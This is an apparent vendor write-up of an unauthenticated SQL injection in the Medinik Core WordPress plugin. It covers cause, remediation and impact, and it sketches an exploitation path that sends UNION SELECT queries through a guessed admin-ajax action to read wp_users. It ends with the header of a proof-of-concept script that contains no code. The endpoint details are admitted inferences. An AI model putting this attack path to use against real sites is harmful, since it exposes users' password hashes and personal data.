Atomic Edge analysis of CVE-2025-69307 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the Medinik Core WordPress plugin, affecting versions up to and including 1.3.6. The flaw allows attackers to execute arbitrary SQL commands, leading to sensitive data extraction from the WordPress database. The CVSS 3.1 score of 7.5 (High) reflects its network-based attack vector, low attack complexity, and high confidentiality impact.
Atomic Edge research infers the root cause is improper neutralization of user input within a database query. The description cites insufficient escaping and lack of query preparation. This strongly indicates the plugin directly interpolated user-supplied parameters into an SQL statement without using WordPress’s `$wpdb->prepare()` method or proper escaping functions like `esc_sql()`. Without a code diff, this conclusion is based on the CWE-89 classification and the standard secure coding practices for WordPress.
Exploitation likely occurs via a public-facing WordPress hook, such as an AJAX endpoint registered with `wp_ajax_nopriv_` or a REST API route. An attacker would send a crafted HTTP request containing malicious SQL payloads in a specific parameter. For example, a request to `/wp-admin/admin-ajax.php` with an `action` parameter like `medinik_core_action` and a vulnerable parameter like `id` could be used to append UNION SELECT statements to extract data from the `wp_users` table.
Remediation requires implementing proper input validation and using prepared statements. The fix must replace any direct variable concatenation into SQL strings with the `$wpdb->prepare()` function. All user-supplied parameters used in database queries must be passed as arguments to this function, allowing WordPress to handle proper escaping and neutralization of SQL special characters.
The primary impact is full compromise of database confidentiality. Successful exploitation enables an unauthenticated attacker to extract sensitive information, including hashed user passwords, email addresses, and other personally identifiable information stored in the WordPress database. This can facilitate further attacks like credential stuffing or privilege escalation.

/**
* Proof of Concept for CVE-2025-69307.
* This script attempts to exploit an unauthenticated SQL injection in the Medinik Core plugin.
* The exact endpoint and parameter are inferred from common WordPress plugin patterns.
* Assumptions:
* 1. The vulnerability is exposed via a WordPress AJAX handler.
* 2. The AJAX action name is derived from the plugin slug 'medinik-core'.
* 3. A parameter like 'id' or 'user_id' is vulnerable.
